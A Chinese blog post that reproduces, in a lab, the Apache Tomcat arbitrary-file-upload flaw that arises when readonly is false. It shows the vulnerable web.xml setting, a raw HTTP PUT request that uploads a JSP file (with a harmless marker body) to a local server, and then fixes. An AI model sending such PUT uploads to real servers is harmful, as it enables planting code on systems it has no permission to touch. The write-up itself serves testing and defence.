首先搭建tomcat环境:

下载当前项目的版本的tomcat

在linux服务器上部署安装tomcat

开始验证测试:

漏洞复现

在Tomcat的conf(配置目录下)/web.xml配置文件中添加readonly设置为false时,将导致该漏洞产生:

<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>


配置好之后,重启tomcat环境
开启BurpSuite拦截


PUT /Agoly.jsp/ HTTP/1.1

Host: 192.168.10.98:8080

Proxy-Connection: keep-alive

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.96 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Encoding: gzip, deflate, sdch

Accept-Language: zh-CN,zh;q=0.8

Content-Length: 15


Agoly 275212937

 

 

修复方案

1.升级到Apache Tomcat更高版本。

2.通过测试,注释掉readonly配置或配置readonly的值为true时PUT不生效。

    用户可以禁用PUT方法来防护此漏洞,操作方式如下:

    在Tomcat的web.xml 文件中配置org.apache.catalina.servlets.DefaultServlet的初始化参数

<init-param> 
<param-name>readonly</param-name>
<param-value>true</param-value>
</init-param>


 


作者:Agoly​

本文版权归作者所有,欢迎转载,但未经作者同意必须保留此段声明,且在文章页面明显位置给出原文连接,否则保留追究法律责任的权利。

如果文中有什么错误,欢迎指出。以免更多的人被误导。